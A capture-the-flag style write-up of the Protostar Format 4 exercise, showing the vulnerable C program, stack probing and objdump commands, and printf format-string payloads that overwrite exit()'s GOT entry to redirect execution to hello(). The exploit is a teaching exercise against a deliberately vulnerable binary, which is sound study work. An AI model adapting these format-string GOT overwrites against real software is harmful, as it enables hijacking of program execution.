Protostar: Format 4

This is the fifth and final uncontrolled format string vulnerability exercise from the Protostar image at Exploit Exercises. In this one we are seizing control of the program execution to redirect to a specified function; however, in an attack scenario this could easily be the memory location of a piece of shellcode instead.

The Source

For this challenge we are given the following source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

Our input is again taken over stdin, so will have to pipe our exploit into the program. There is also a small hint in the source code if we read carefully: the program calls exit(1) and _exit(1). We will be looking there for how to hijack the execution flow.

The Exploit

exit() is a libc function, so when the program is run its address is stored in the Global Offset Table(GOT) for later use. We can use an injected format string to overwrite this value with the address of the hello() function. When the program calls exit() it will look in the GOT for its address and execution will be redirected to our hello() function instead.

To set this up we first need to find the location of our input on the stack:

echo AAAA`python -c 'print ".%x"*5'` | ./format4
AAAA.200.b7fd8420.bffff664.41414141.2e78252e

Our input is at position 4. We can use two objdump calls to find the addresses of hello() and exit():

objdump -t format4 | grep "hello"
080484b4 g    F .text  0000001e        hello

objdump -R format4 | grep "exit"
08049718 R_386_JUMP_SLOT    _exit
08049724 R_386_JUMP_SLOT    exit

We can again use Direct-Parameter Access (DPA) and shortwrites to build our exploit:

We already have 8 bytes written from the two addresses and we need to write 0x0804 = 2052:

Now we have 2052 bytes written and we need to write 0x84b4 = 33972:

Using these values in our exploit with the address found earlier we get:

echo `python -c 'print "\x24\x97\x04\x08\x26\x97\x04\x08%2044x%5$hn%31920x%4$hn"'` | ./format4

code execution redirected! you win

As expected we are given our success message, but we can actually solve this in only one write. Let’s optimize.

Since the unmodified address of exit() stored in the GOT already starts with 0x0804 writing it again is redundant. So we can jump straight to the last part of our write, 0x84b4 = 33972:

and rebuilding our exploit with this:

echo `python -c 'print "\x24\x97\x04\x08%33968x%4$hn"'` | ./format4

code execution redirected! you win

We successfully used a format string with direct parameter access to overwrite an entry in the GOT using only one write and seize control of program execution. End of the format string exercises!